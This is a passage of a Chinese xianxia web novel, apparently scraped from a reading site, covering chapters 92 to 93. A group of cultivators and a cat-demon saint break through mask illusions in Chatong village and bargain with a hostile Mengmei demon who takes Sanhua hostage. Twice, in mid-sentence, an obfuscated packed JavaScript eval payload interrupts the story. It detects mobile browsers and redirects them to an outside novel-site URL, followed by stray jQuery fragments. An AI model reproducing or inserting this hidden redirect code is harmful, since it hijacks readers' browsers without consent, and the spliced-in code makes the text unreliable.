听明白了这些,秦湘沉默片刻,又在心中将这些事一起顺了一遍,总觉得一定有什么被她忽视掉了的东西。想着想着,忽然之间,脑海中灵光一过,她猛地睁大了双眼,顿在了原地。像是突然之间意识到了什么似的,一种毛骨悚然的恐惧感徒然而生,从脚底迅速蔓延至了四肢百骸。 “不对劲……”秦湘喃喃着,不住地重复着,声音也从一开始的呢喃到后来的猛地出声,“不对!” 长锦与三花见她脸色瞬间便变得十分难看,不知这一下她又想到了什么。长锦道:“怎么了?” 三花也停住脚步,望向她,轻声问道:“是啊,怎么了?秦湘姐姐,哪里不对?你可是想到什么了?” “三花,神君,既然梦寐一族的一魂换魂术一生能施展一回,在生命受到威胁之时就会使用。可是这些年来,失踪了这么多的梦寐,为何它们都没有成功使用过一魂换魂术来自保?”秦湘皱着眉头,紧紧地盯着两人,“虽然修仙界的书中记载了梦寐会使用这种法术,但是具体怎么使用,这只有梦寐一族自己知道,或者说……十分了解梦寐一族的人,不对,不能说是人了,人的机率应该小些,或者应该说是——妖。” 最后一个字,她说得十分肯定。冬日苍白的阳光下,秦湘一张面容坚定且确信。在秦湘的目光下,三花与长锦也是骤然反应过来她的意思了。 长锦轻声道:“后来发生的这件杀妖取丹的事情,凶手不止一个人。” 闻言,三花脸上的血色在须臾之间尽数褪去,她不可置信地后退了一步。 她怔怔地,简直不敢相信自己心中所浮现的那个念头了,但是,所有的不对劲在这一刻却又都连串起来了,让她不得不往这方面去深想。 如果按照现有的线索推算,那么杀妖取丹的凶手中,应该不止有人。 除去她那个晚上交手的那个黑衣修士之外,也有妖。而且,这个妖,隐藏极深,应该还是妖族高层,不然他不会这么清楚梦寐一族的特性。 另外,看不看是一回事,妖界每年都会统计一回妖族妖口就是另一回事了,普通妖族压根没法接触这记载着妖界所有妖口及位置的档案,能接触的,只有妖族五族长老,和其名下心腹。 如果这个设想成立的话,那一切解释基本上就可以连贯起来说得通了。假设妖族高层中有一个妖怪已经与那幕后之人联手,两方里应外合,自然神不知鬼不觉。因为有一张对妖族知根知底的底牌,所以才能准确无误地找到梦寐的踪迹,才能找到压制着梦寐的方法,在其还没有能力施展出来一魂换魂术之前,就已经先将其全部控制。 而且,妖族联盟这些年来的变化也能解释的通了,为何他们不愿意管这件事,也许并不是因为妖族这些年来实力不济,怕与修仙界起冲突,而是这其中早就有妖与他们暗通款曲了,所以才不能管这件事。而且正因为他们了解妖界,所以才会知道,用小妖来掩盖原本的目标,这样,就有借口来堵住妖界其他子民幽幽之众口。 想到当初在联盟集议上,除了猫族外,其他四族长老虽然对这件事的态度都各持有异,但到最后还是统一默认了不插手这件事。那这幕后主使者到底是他们之中的哪一位? 而如果凶手是其中一位的话,那为什么其他三位长老的态度到最终也是如此,难道说其他的三位都与这幕后凶手有着密不可分的联系? 三花顿了一顿,又想到了在黎双的记忆幻境之中,梦寐曾说过一句话,妖力弱的,当场被炼制成了丹药,梦寐制成的丹药可以控制生灵的心智。如此结合一看,除了那幕后凶手外,剩下的长老都被其控制了心智也是说得过去的。 虽然所有的一切都连贯起来有了十分合理的解释,也十有八九能确定妖界五族联盟内部是出了奸细。但让三花始终想不明白的是,这人既然已身处高位,万妖敬仰,又为何还要做下这种勾结外人残害同胞的事情出来?他所图为何? 三人站在原地,面面相觑地僵持着。过了一会儿,另一边闷着头顺着一路找到了黎双旧居的乔玉洲回头没瞧见跟上来的众人,先是一愣,而后反应过来,无法,只得又折返回来。 看着不远处在路中央僵持着的几人,他一脸疑惑地走了过去,奇怪道:“你们在这儿杵着干嘛呢?要不是我回头瞧了一眼,你们还要在这儿丢了呢。怎么了?怎么个个一脸凝重的表情?” 经得他这一嗓子,将几人神游着的思绪拉回来了几分。秦湘挪开眼,回了回神,然后将目光放在他的脸上来,问道:“找到黎双的家了?” “嗯,找到了,就在前面不远处。”乔玉洲点了点头,又将视线放在了三花身上来,见她还是一副神情恹恹的模样,一怔,立马开口道,“怎么了?怎么脸色这么不好?” 三花见他脸上的关切,但此时实在是提不起心情来假装无事。于是沉默了半晌,只得摇了摇头,小声道,“没事。” 见两人这幅模样,乔玉洲还站在原地蹙着眉紧张地看着三花,而三花则低着头不语。秦湘顿了一顿,率先开口打破这诡异的气氛,“行了行了 ,不用担心三花了,三花说没事就没事,不是找到黎双的家了吗?时间也不早了,我们快些走吧。乔玉洲你去前面带路。三花交给我。” 闻言,乔玉洲没动,眼神还是落在了三花身上。感受到他眼中的执拗,三花叹了口气,提起了一个微笑,拍拍他,“我没事的,你先带路吧。” 最终还是乔玉洲先妥协,但他心中还是担忧,遂道:“好吧,那你有什么事一定要和我说。” “嗯,知道的。” 乔玉洲走了,秦湘转头看了看脸色尚且还有几分苍白的三花,走了过去,将她搂在怀中柔声安慰道,“没事的,不要多想了,目前只是猜测,一切等先见到梦寐了再做打算吧。” 知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415738|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是在安慰自己,虽然说是猜测,但是已经到了如今这个份上了,这猜测与真相又差得了多少呢?无非就是猜中了的多与少的区别。 三花眨了眨眼,一声叹息。看她有些缓过神来了,秦湘又道,“我们走吧?去看看。” “嗯,走吧。”三花点了点头。秦湘便一边拉着她跟着乔玉洲的步伐,一边转头朝着身后跟着的长锦道,“神君,跟上,不要掉队啦。” 几人沿着小路走了一会儿,很快,一间带竹篱笆小院的木屋便出现在了众人的视线之中。三花伸出手来捏了个诀释放出了些妖力,橙色的光华在众人眼前轻轻飘荡着,旋即消失。 她收回手,全身也不自觉地绷紧了,一种对危险的本能感知直冲心头。她神色凝重地看着面前这座静静地矗立在阳光下的小木屋,低声道:“大家小心点。” 其他三人也神色紧绷了起来,他们一个是神,两个是修道之人,不用三花再多说,自然也明白虽然不知道这房子里有什么玄机,但是绝对不简单。 正思量着,一阵车轱辘碾过的声音从一旁传来。众人闻声转头,一个农夫驾驶着一辆牛车拉着满车的秸秆朝着他们走来,见几人呆站在路旁望着面前发呆,也是一怔,一脸莫名奇妙地朝他们看了几眼,然后又收回目光,继续驾着牛车从他们面前走过。 本来这只是一个很正常的画面,可下一秒,那农夫仿佛没有看见面前这座房子似的,或者说是这座房子在他面前仿佛不存在。他驾着车,就这么视若无睹地从那房子中穿行而过! “!!!”众人一惊,还是秦湘率先反应过来,连忙上前喊住那个农夫,“大叔,请等一下!” 感觉到身后有人在喊自己,农夫拉了拉缰绳让牛儿停下,回头去瞧,看见秦湘,先是一愣,也不知道在想什么,然后才道:“怎么了?你有什么事儿吗?” 此时也顾不上什么奇怪不奇怪了,见他停下,秦湘直接道,“你能看见那里那一栋房子吗?” 听到这句话时,那农夫先是一僵,随即露出了个看傻子一般的眼神看向秦湘与她身后站着的几人,半晌,像是惋惜般地叹了口气,嘀咕道,“多好的几个孩子啊,怎得好生生的傻了,可惜啊。” 情况紧急,秦湘也顾不上反驳他,而是侧身指着一旁的那栋房子,再次确认道,“大叔你再好好看看,就这里一直过去,顺着我手指的地方,一栋带院子竹篱笆的小房子,你没看见吗?” 瞧着她脸上的坚持与认真,农夫眯着眼,努力朝着她指的方向再次看过去。在他眼中,那里除了一条大路,其余啥也没有。于是他老实道,“没看见。”半晌,还是觉得有必要直说了,便又道,“姑娘,如果有病的话咱们一定要早些治疗,你们还年轻,不要放弃啊。” “……”身后的乔玉洲闻言,也是没忍住,“噗”地一声就笑了出来。见秦湘闻声回头给了他一记眼刀,又连忙打住,好半晌才憋住了笑意。 这样子问是没有结果的,秦湘眼珠子一转,计上心来,于是便换了一种问法,“那大叔你是茶桐村的村民吗?你认不认识一个叫黎双的姑娘?她是茶桐村的。” “这里就是茶桐村,你说我是不是这里的村民?”农夫简直觉得她这个问题有些无厘头又有些好笑,但笑归笑,他人还是淳朴的,“不过我都在这茶桐村生活了几十年了,没听说过我们村子里有一个叫黎双的,你是不是找错地方了。” 秦湘一怔,这回答与她心中的想法重叠了,但为了更加印证一番,她还是继续道,“是吗?难道是我记错了?也许她不叫黎双。不过她家是以采药为生,茶桐村中可有一户这样的人家?” 这样一问,倒还真给那农夫问住了,他皱着眉头思索了一会儿,答道,“以采药为生……好像是有过一户这样的人家……奇怪,我的记忆一向很好的,怎么这一会儿倒像是想不起来了似的。” “没事,不要着急,慢慢来,你再好好回忆一下。” “噢噢!!我想起来了!”农夫一拍大腿,激动道,“茶桐村里确实有这样一户人家,一家三口以采药再卖给药铺为生,不过那家的姑娘不叫黎双,叫林双。而且他们家前几年已经搬走了,搬到哪里去了我倒是不知道,总之你们来晚啦。” 听到这儿,秦湘便算是清楚了。应该是黎双死后,梦寐将茶桐村中村民的记忆扭曲了,还在这栋房子这儿布下了结界,所以在普通人眼中,他们看不见这房子,也不会对黎双有什么印象。 和农夫道过谢后,她便回到了众人身旁,看着面前这栋安安静静的房子,轻声道,“所以我们要直接进去吗?” 92.面具怪谈 “走吧,”乔玉洲笑道,“我们不自己进去梦寐也不会来给我们开门然后说一句请进呀。” “你还有心情开玩笑,”秦湘白了他一眼,然后才正色道,“不知道里面是些什么,可能又会有前些天那样的幻境,”想起在那个房间中见到的杜元霜,秦湘顿了一顿,半晌,才回过神来,晃了晃脑袋,“总之大家都要小心点,不能轻敌了。” “那我们这次一起进去?就不怕它再突然之间把我们分开到不同的空间了。”乔玉洲提议道。 “也行。走吧。”秦湘转身拉着长锦,又道,“神君,你跟着我,不要离开。” 长锦轻轻回握住了那只有些轻颤的指尖,温声道,“好。” 乔玉洲看着面前紧闭着的门扉,双手合十,低声念叨了句“打扰了。”然后才拉着三花的手,缓缓推开了面前那扇竹篱笆,四人一前一后,慢慢走了进去。 这小院和寻常的小院并没有任何区别,干干净净,左边分割出去了一部分种植了些秦湘认不出来的草药。另一旁的石桌上,还晾晒着一个竹晒簟,竹晒簟中,则盛放着些已经半干的草药。 “这里还像是有人居住的模样,”秦湘看得兴奇,“不是说占据已经死亡的躯壳并不会继承宿主的记忆,没想到这个梦寐竟然还会种药?这副陈设,和我们那时在彼岸之城中见到的一模一样。” 长锦也顺着她的视线望去,正要说话,却猛地将她往怀中一带,“小心!” 秦湘被这一带,整张脸都撞向了他的怀中。她晕头转向,还有些没分清楚状况,好半晌,才揉着有些发酸的鼻子抬起脸来,“怎么……”了。 话头被生生地卡在了喉咙里。不知从什么时候开始,乔玉洲与三花又消失不见了,而两人面前的场景,也发生了巨大的变化。那宁静的小院子消失不见,取而代之的是一个破旧的街道,而此时两人就站在这街道的正中央。 “这又是幻境?”秦湘一边说着,一边打量着四周的环境。这街道上空无一人,破破烂烂,天空也是阴沉沉的一片。在两人面前,是一家卖面具的店铺,门口的招牌上,挂了一张足有两人高的红白彩绘面具,黑洞洞的眼眶,鲜艳的红唇微微上扬着,整个画面就是要多怪诞有多怪诞。 秦湘收回目光,打了个寒颤,又道,“乔玉洲与三花呢?” 长锦道:“应该和上次一样,他们就在我们身旁,只不过是一个空间里的两个幻境,我们看不见他们,他们也看不见我们。” “那就要破了这幻境才能出去了,上次在彼岸之城里只有我一人在,那幻境是用我内心的执念创造出来的,只要破了自己内心深处的梦魇就行。这次咱们一起进来了,又不知道是怎样的了?” “不怕,这次的应该不是针对个人的梦魇幻境,”长锦看着面前的面具,“黎双不知道我们会来茶桐村,所以这应该只是一个防止其他妖怪或者修士闯进来的普通幻境。” “嗯,神君说得也有道理。那我们先走走看看?找找看有没有出去的法门?” “好。”两人并肩而行,在这破旧的街道上行了一圈,除了各种破破烂烂荒废了的店铺小摊之外就什么也没有了,看着面前熟悉的面具,秦湘叹了口气,将目光收回。 不过只一瞬,她又猛然将脸转了回去,死死地盯着面前的面具看,半晌,开口道,“神君,我们刚进来的那个时候,这个面具是不是还没有眼睛?而且你有没有觉得,它脸上的的颜色似乎更深了一些,还有这里,那时候没有这些污渍的。” 闻言,长锦也立即抬眼,顺着她指的方向看去。然后也惊奇地发现了这面具的眼眶之中竟慢慢地覆盖了一白色的膜,那膜雾蒙蒙的,还带些透明,若是不仔细看,确实容易被人忽视。而在它双眼下方的那两块脸颊上,原本白净净的地方也染上了一层灰扑扑的泥渍。 长锦沉默了片刻,收回目光,“秦湘,要不,我们再走一圈?” 秦湘一怔,明白了他的意思,笑道,“好啊,那我们再转一圈,这次走反方向吧,从这边走。” 两人一拍即合,转身便朝着方才回来的地方走去。还未走出几步,秦湘便猛地一抬手,召出了烈云剑转身就将身后的东西一脚踩在地上,嘴角一勾,轻笑道,“抓到你了。” 被秦湘踩在脚下的东西,便是方才那挂在面具店门口的那块两人高的面具了。只见它此时的尺寸比起那时来已经小了许多,面具的四周缝连着一块黑布,乍一眼过去,仿佛一头浓郁的黑发。那面具在秦湘的脚下挣扎着,扭动着,口中还不断地发出着一阵咕噜咕噜的怪叫。 这触感着实不大好,明明踩着的是一张面具,但感觉却不坚硬,反倒是一种像是软趴趴地如踩在什么皮肉上的触感一样,而且感觉下一秒就要爆浆了。偏生脚下的东西还在动个不停。 秦湘心中暴躁,在移开脚的同时甩下了一道定身符,“给我安分点。” 定身符只能定住它的动作,却制止不住它的声音。它躺在地上,口中的怪叫声更激烈了,一双眼睛更是骨碌碌地上下左右快速地滚动着,而且一下黑一下白的,亦或是一下又黑又白的。 秦湘看着面前这个没有身子只是一张扁平人脸的怪异东西,看着它跟变脸谱一样地一下红一下白,眼睛珠子还一下白一下黑的,有些无语。半晌,看向长锦道,“奇怪,上次在幻境里我找到了关键道具,这幻境就会出现提示告诉我该怎么出去,怎么今天却一点动静都没有?难道是我们打开的方式不对?” “不对!秦湘,有变化的。你看一旁,那些店铺。” 闻言,秦湘迅速抬头环顾四周。原来就在他们的注意力被脚下这张成精了的面具脸吸引了的时候,在两人身旁的那些破烂小摊,不知从什么时候开始就挂满了面具。 面具上的每一张脸都各不相同,唯一相同的是,它们都在转动着那双没有眼白的瞳孔,上下左右。但不管怎么转动,秦湘都觉得,它们的视线正紧紧地锁在她与长锦身上。 “它们什么时候出现的?!”这幅场景实在是密集又怪诞,整条街,整个幻境,密密麻麻地都是由面具组成的。秦湘心头大骇,将烈云剑横在身前,“我们竟然都没发现?!” “应该是刚刚那一瞬间出现的,既然是幻境这里面的东西虚虚假假,都不是真实的,所以想要在一瞬间出现并不难。”长锦也站在她身旁,下意识地伸手就将她护在身后。 两个人紧张地盯着四周的那些仿佛活过来的面具,秦湘目光一动,立即锁定了方才摆放着那大面具的店铺,那是现在唯一一个通道,还没有被面具占领的地方,看来,这就是留给他们的法门,让他们没得选地往那里走。 “神君,走!!”在那些面具森森笑着脱离了原本呆着的地方朝着两人猛地飞来的同时,秦湘就迅速将烈云剑收回,然后一手拉着长锦,一手将地上那张还在咕噜噜扭动着的面具一把薅起,朝着那面具店的门口拔腿就跑。 两人带着一个吱呀乱叫的面具精才刚一跑进那面具店中,外边飞舞的那些面具人脸便如潮水般猛地朝着他们袭来。千钧一发之际,一层蓝色结界落下,为首的人脸面具刹不住脚步,后边的也跟着一个接一个地撞倒在了两人面前的结界之上。 “……”听着面前一阵劈里啪啦,两人对视了一眼,都有些无语般地好笑。秦湘道,“真傻。” 那些面具被拒在了门外,面前的结界仿佛对它们有着阻隔作用。受了这么乱七八糟的一撞,它们一时也有些分不清楚方向,从地上飞起来的时候,每张脸上都带着些茫然。也许是没找到秦湘与长锦,没了攻击的目标,面具们在空中上下飞舞了一阵后,就飞回了各自原来的地方,然后场景回归原样,又变回了一开始那条破破烂烂的街道。 见外边一切安稳了,两人才将目光收回,放在了面前的这家店铺上来。店铺的装潢很简单,一张前台桌椅,五个四层大柜子,柜子上边摆放着各式各样的面具。秦湘目光扫过这些面具,心中只有一个字来评价:丑。 太丑了,没什么好看的。她转过身来,却看见长锦正站在前台的位置,目光紧紧锁定着桌面。秦湘一怔,也走了过去,只见那老旧的木桌上也摆放着一只面具,不过这面具与柜子上其它的并不一样。 秦湘提起手中那只方才成精的面具,放在桌面上与另一只并排放着,对比了一下,“这……这俩是不是长得一模一样?” “嗯,没错。”长锦说着,抬起手来,将桌上那张面具拿了起来。才刚一拿起来,秦湘便眼睛一亮,连忙将他的手拿开了些,“神君你看,桌上有字!” 那面具下面的桌面上,确实刻了几个字,看上去也有些年份了,所以显得有些模糊。秦湘眯了眯眼睛,凑近了些仔细辨认,“真真假假,虚虚实实,真便是假,虚也是实……”说完,两人对视一眼,“什么意思?这是出去的关键吗?” 还未等两人反应过来,长锦手中拿着的那个面具此时也仿佛苏醒了过来般,一边扭动着那张苍白的脸,一边骨碌碌地转动着那双全黑的瞳仁,口中还不断地发出着那咕噜噜的怪叫。而被秦湘放在桌面上的那个也好像感受到了同伴的呼唤般,咕噜噜地叫得更大声了。 “……”唯恐它们再将柜子上那些面具再叫醒来,长锦只怔了一瞬,便立即抬手朝着这两面具凌空一点,“收。”随后,五指收拢,再捏了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431441|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手中的面具,瞬间,它也不能再动了。 怪叫声戛然而止,秦湘垂下眼帘,将原先的那个面具拿了起来。看着手中那个安安静静只能转动着眼珠子的面具,她顿了顿,旋即皱起了眉头,好像……有哪里不对劲?! 秦湘紧紧地盯着它看了片刻,又将它翻转了过去,然后手指抚摸上它的正反面,细细摩挲感受着。半晌,又将它提了起来,手指微屈在它的背面叩了两下。 “咚咚。”是敲在木板上的沉闷声,在这寂静的房间里显得格外的清晰。 听见这个声音,秦湘的脸上逐渐浮现出了一种兴奋的神情,她好像知道是哪里不对劲了。 那时候在街道上,秦湘踩在这面具的正面之时,那触感就像是皮肉般的柔软,而此时,这面具反面的手感,摸上去却还是面具原本木头的坚硬质感。对于她与长锦来说,在这个幻境中,这些面具是虚,他们是实。那反过来,对于这些面具来说,它们是实,而她与长锦才是虚。 秦湘的心中此时已经激起千层浪了,她看着手中的面具,下一刻,便毫不犹豫地将它举在了自己面前。当透过了它再来看这房间,登时就发现所有的一切竟然都反过来了。 在秦湘眼中,此时柜子上摆放着的面具成了一张张鲜活的人脸,而站在她身旁的长锦,脸上却带了一张红白彩绘面具。 原来,这就是所谓的真便是假,虚也是实!所谓出去的方法也就是融入到这面具幻境当中,当他们戴上面具,在那些面具眼中,自然也就与它们是一致的了。 这时,虚便成了实,假也成了真,幻境自然就会破解。 长锦看着她这幅神情,一时没反应过来她的动作,见她一动不动,生怕是这面具之上有什么危险,顿时就生了几分担忧,连忙道:“秦湘,你怎么了?” 秦湘将面具从脸上移开,抬起脸,笑着看向长锦,眼中都是狡黠,“神君,也许,我知道出去的方法了。”她说着,又抬起手,将手中的那个面具举在他眼前,“可发现这其中的奥秘了?” 看着眼前的变化,长锦已隐约知道了她所说的奥妙是什么了。而此时,这幻境似乎也意识到他们心中所想,随着一阵咕噜噜的声响传来,两人面前的面具们仿若都活过来般,骨碌碌地转动着那双瞳仁大得吓人的黑眼睛,然后缓缓地漂浮起来朝着二人逼近。 “神君,它们要醒过来了,快,将手中的面具带上!!” 不再犹豫,两人立即将面具戴在脸上。在那些面具蜂拥而至之前,秦湘紧紧地拉住了身旁的长锦。刹那间,所有声音消失殆尽,四周的房间墙壁正在瓦解,坍塌。而那些冲他们飞掠过来的人脸也瞬间消散,化为了流萤消失在了空中。 所有的一切都在迅速消失,秦湘与长锦只觉得四周都是刺眼的白光,身体也骤然感觉到了一阵失重旋转。待到两人双脚都踏在实地上后,秦湘才睁开双眼,脸上的面具已经消失不见,而她与长锦也回到了现实之中。 还是那个院子,不同的是,在两人身边,漂浮着一个银白色的球形结界。秦湘抬头左右看了几眼,转头和长锦道,“看来,三花和乔玉洲还在这里边,我们等等吧。” 两人站在院中,等了大概两柱香的功夫,面前的球形结界颤动起来。“咔嚓咔嚓——”一道瓷器破碎的声音慢慢传来,动静从一开始的窸窣到后来的愈大,待到结界完全破碎,三花与乔玉洲赫然出现在了两人面前,脸上都带着一副心有余悸的表情。 乔玉洲喘着气,望向一旁的三花,温声道,“没事吧?” “没事没事,”三花双手撑在膝盖上,喘了会儿,才朝他摆摆手,“幸好跑得快。” 见两人这副狼狈的模样,秦湘笑了笑,然后凑了过去,“你们总算出来了?怎么样?在幻境中看见什么了?怎么感觉你俩跟和人打群架了一样,这么累哈哈哈哈哈。” “别提了,刚刚眨个眼的功夫你俩就不见了,然后眼前一花我和三花就莫名其妙地到了一条街道上,整个街道都是会飞的人脸,打还打不死,跑得人累死了。” 听他这么说,秦湘顿了顿,看来他们进去的幻境都还有点异曲同工的相似,一个是人脸,一个是面具,“我们也差不多,不过我们看见的是面具哈哈哈哈,那你们最后是怎么出来的?破解的法门是什么?不会是抓两个人脸戴上吧?” “你想什么呢,”乔玉洲翻了个白眼儿,顿了顿,又露出一种很难以置信的表情来,“不过你们敢信?这幻境的破解之法,竟然是让我和三花在成千上万只人脸中找到两只做成面具,真的是离了个大谱了,一边被追一边还要找那两只特殊的,真的是,我什么时候这么狼狈过?!” 93.寻找黎双 乔玉洲越想越气,越想就越觉得离谱,“怎么会有人想出这么变态的幻境?哦,不对,是妖。” “哈哈哈哈哈,它这是算到了你平时缺少锻炼,这不,让你锻炼来了哈哈哈哈哈。” 两人又就着这话题吵吵笑闹了一会儿,三花与长锦就站在一旁,一边休整一边适闲地看着这俩幼稚鬼吵闹。过了一会儿,等缓过劲来了,众人才将注意力放在了面前紧闭着的房门上来。 “我们破了梦寐布下的幻境,它肯定也会有所察觉。”秦湘站在门前,轻声道,“等下我推开门的时候大家都要小心点,以免……” 然而一句话还未说完,就被长锦拉倒了身后,“我来吧,你站我身后。” 秦湘一愣,旋即笑了笑。知他是为了保护她,所以她也懒得逞强,秉着该弱就弱又没关系的信条站在了他的身后,软声应道:“好。” 如她所料,长锦一将门推开,一股罡风就迎面向众人袭来。长锦立即抬手挥出,一层金色结界在众人面前落下,将面前的攻击尽数挡下。 “哼,我当是谁竟然能破了我的幻境,原来是你们。” 一个清冷的声音从面前传来,众人抬头,只见面前的房间里,站着约莫一个十八九岁的妙龄女子。女子一袭红衣,掌心凝聚着一团银白色的灵力,正冷冷地盯着面前的四人。 “没想到你们逃过了我的梦魇幻境,还能从彼岸之城那么多鬼差手下全身而退,果真是我小瞧你们了。”最后几个字的语调骤然巨变,像是从牙缝中挤出来的,带着些嘲讽与阴沉。 三花看着面前的女子,也没准备再转弯抹角。她走上前去,先是与她一礼,而后才坦然直接道,“抱歉,我们此番前来并不是为了与你交恶,实不相瞒,我来是这里是有事相求。” “哼,如果我没认错的话,你是猫族的三花圣女吧?”梦寐扫了她一眼,半晌,又冷笑一声,“你不好好呆在妖界五盟里当你的圣女,竟然还跑来人界与这些修士掺和在一起。我几年未曾入过妖界了,倒是不知你们处理的事务多到已经拓展到人界来了。呵——果真是日理万机的五族联盟啊。” 听着她语气中的这些阴阳怪气,乔玉洲第一个没忍住,他皱了皱眉头,作势就要上去与她理论一番,“嘿,我说你这个人,怎么说话的呢?有什么话就直说,没必要这么含沙射影的。” “我说错什么了吗?”梦寐笑了笑,“我这是在夸他们呢,三花圣女不是应该最了解了吗?你们日理万机忙得不得了啊,今个儿却得空来这儿找我这个下等小妖,是有何贵干呢?” “你……”乔玉洲还要说些什么,却被三花拉住了手臂。三花看着他,朝他轻轻地摇了摇头,见状,乔玉洲愣了半晌,也只能作罢。 这边将乔玉洲拉回了身后,三花才又转过脸,对上梦寐慢条斯理的眼神,“我想知道当年你们一起来妖盟说的那件妖怪失踪案件的真相,我与那幕后之人交过手,也查过了,这并不是一起简单的妖怪失踪案,他们用小妖做遮掩,最终的目的只是为了你们梦寐一族。” 闻言,梦寐先是一怔,旋即回过神来,银白色的灵力随着她掌心的动作一上一下,她冷笑着看向三花,语气随意,“哦,那又怎样?五年前你们不是不管吗?怎么现在又管上了?当初我们那么求你们,可是你们是怎么做的呢?将我们全部赶了出去。现在我不想再听见这件事了,所以请恕我没有这个耐心再听你废话,请你们离开,否则,就别怪我对你们不客气!” 话音一落,她便抬起手来朝着三花用力一挥,灵力迅速袭来,擦着她的脸颊而过,带起一阵旋风。三花笔直地站在原地,甚至连眼睛都没有眨动一下。 这个反应是梦寐没有预料到的,见三花依旧一副坚持的模样,她沉默了片刻,像是失去了兴趣般地挪开了眼,冷冷道:“你这又是何必?这里不是妖界,所以三花圣女也没必要做出这副样子。” “这件事是我们对不起你们,我知道,你怨恨我们是应该的。但是我并不是这个时候才开始管的,那年你们集体联名上报之后,我和族长就一直在暗中调查这件事的来龙去脉。”三花说着,语气也低沉了下去,“不过也是我们不好,这件事一直都没什么头绪,直到最近才捕捉到了一些蛛丝马迹。所以我想查明这件事的真相,揪出幕后真凶,不管怎样,我都想给大家一个交代。” “给大家一个交代?哈哈哈哈哈哈——”仿佛听见了什么天大的笑话一般,梦寐狞笑起来,“金玉其外,败絮其中。你说得如此好听,你不也是他们中的一员吗?” 见她出言一直不逊,乔玉洲忍了一会儿,实在是忍不了了,正想着上前去将三花拉回来,与此同时,秦湘却先一步拦住了他的动作,低声道,“别冲动。” 看着对面两人的动作和乔玉洲眼中的怒意,梦寐顿了顿,眼中的笑意更明显了,带着几丝不怀好意的明亮:“不过,如果圣女你执意想要从我这里知道线索的话,我倒也不是不能说。” 闻言,三花一顿,立刻开口道:“你有什么条件?” 梦寐笑了笑,在众人都没反应过来的情况之下伸手朝着三花凌空一抓,等回过神来之时,三花已经闪至了她的身边,而她的手指,正紧紧地攀在她的脖颈之上。 “你要干什么?!放开她!”乔玉洲瞬间就炸了,手中召出灵力,绿色的灵流在他掌心流转。 “你敢对我动手吗?只要你敢上前一步,我保证,我们这位圣女大人一定比我先见阎王。”梦寐一边甜腻腻地说着,一边将三花挟在怀中,半晌,将头靠在她的肩膀之上,似是挑衅般地看向他。 面对着梦寐的威胁,三花脸上的神情却丝毫没有变化。从方才与她打交道的那一会儿,还有当初在幻境中看见的她来讲,她就知道,梦寐不会杀她。 于是她道,“好了,不要再威胁他了,你有什么条件就说来听听吧。” “你们既然已经从彼岸之城中出来,还能找到茶桐村来,那肯定也就知道我和黎双的事情了。”梦寐也不兜圈子了,直接道,“我给你们两日时间,只要你们能帮我把黎双丢失的那一魂找出来,那我就把妖怪失踪案的线索告诉你们,怎么样?” 三花一顿,对面的三人也相互对视了一眼,长锦跟着秦湘来的,所有的一切都听她的。秦湘与乔玉洲三花对视了一眼,那一瞬间,便有了答案——不管怎样,先答应了再说。 秦湘看向她,开口道,“好,我们答应你。现在可以将三花放了吧?” “这可不行,人类生性狡诈,我不相信你们,所以等你们找到了之后我再放也不迟。而且,我许久未曾回过妖界了,今日得见故人,我还想与圣女大人叙叙旧呢。” “你方才还粗声恶气凶不拉叽地让我们离开,否则就对我们不客气,”乔玉洲翻了个白眼,“怎么这一会儿又跟好得跟什么似的,想和三花叙旧?叙什么旧?叙的哪门子的旧?” 梦寐睨了他一眼,“我想怎么说就怎么说,你觉得你现在有这个资格与我谈条件吗?” 乔玉洲气得牙痒痒,那在修仙界一众女修面前维持着的温润如玉陌上公子的形象在这瞬间崩了个稀碎,如果不是……他真想把这只变态欠收拾的小妖怪抓过来搓圆扁捶好好修理一顿。 秦湘与三花对视了片刻,随即点了点头,又移开目光看向梦寐,“那你说话算数,两日之后要是我们将黎双的那一魂找出来了,那你就得放了三花,然后还要将你知道的线索告诉我们。” 梦寐亲昵地搂着三花,似笑非笑地说道,“那是自然,我一向说话算话。如此,诸位就赶快出发吧,我和圣女大人在此恭候你们的好消息。” 从黎双旧居离开后,剩下的三人行走在茶桐村内的乡间小道上。 乔玉洲眯起眼望了望天空,旭日高挂,他收回目光,叫住了走在一旁的秦湘,满脸的忧心忡忡,“秦湘,你那时候为什么要拦住我?那小妖怪法力不算高,咱们能对付的,就这样把三花留在那,不会出什么事吧?” “别担心了,是三花自愿留在那里的,”秦湘道,“梦寐只擅长幻境,妖力确实不高,但是如果我们真的要对她动手了,三花心中该做何想?那也是她的子民,这件事再怎么说来,也是妖族五族联盟理亏。而且那梦寐不会对三花出手的。” 闻言,乔玉洲一怔,“你怎么知道?你就这么确定?” “是三花与我说的,她留在那里,倒是真的可以与梦寐叙叙旧。万一梦寐被三花说动了,不就直接可以得到那些线索了?” “那万一那梦寐不按照常理出牌,就对三花出手了呢?” “……”秦湘无语,简直被他这钻牛角尖的问法问得有些不耐烦起来了,怒道,“乔玉洲你今天是不是把脑子落在彼岸之城忘记带过来了?那梦寐打得过三花吗?那时候就是因为三花知道那梦寐虽然表面凶巴巴,其实也只是表面那样而已。不然谁会傻到把要害送到敌人手中?” “再退一万步来讲,就算那梦寐打得过三花,真的要对三花有什么不利的话,那不是还有我们在吗?还有神君在呢,咱们四打一,你怕什么?”秦湘说着,又转头望向长锦,语气一下又软和下来了,温声道,“神君你说是吧?” 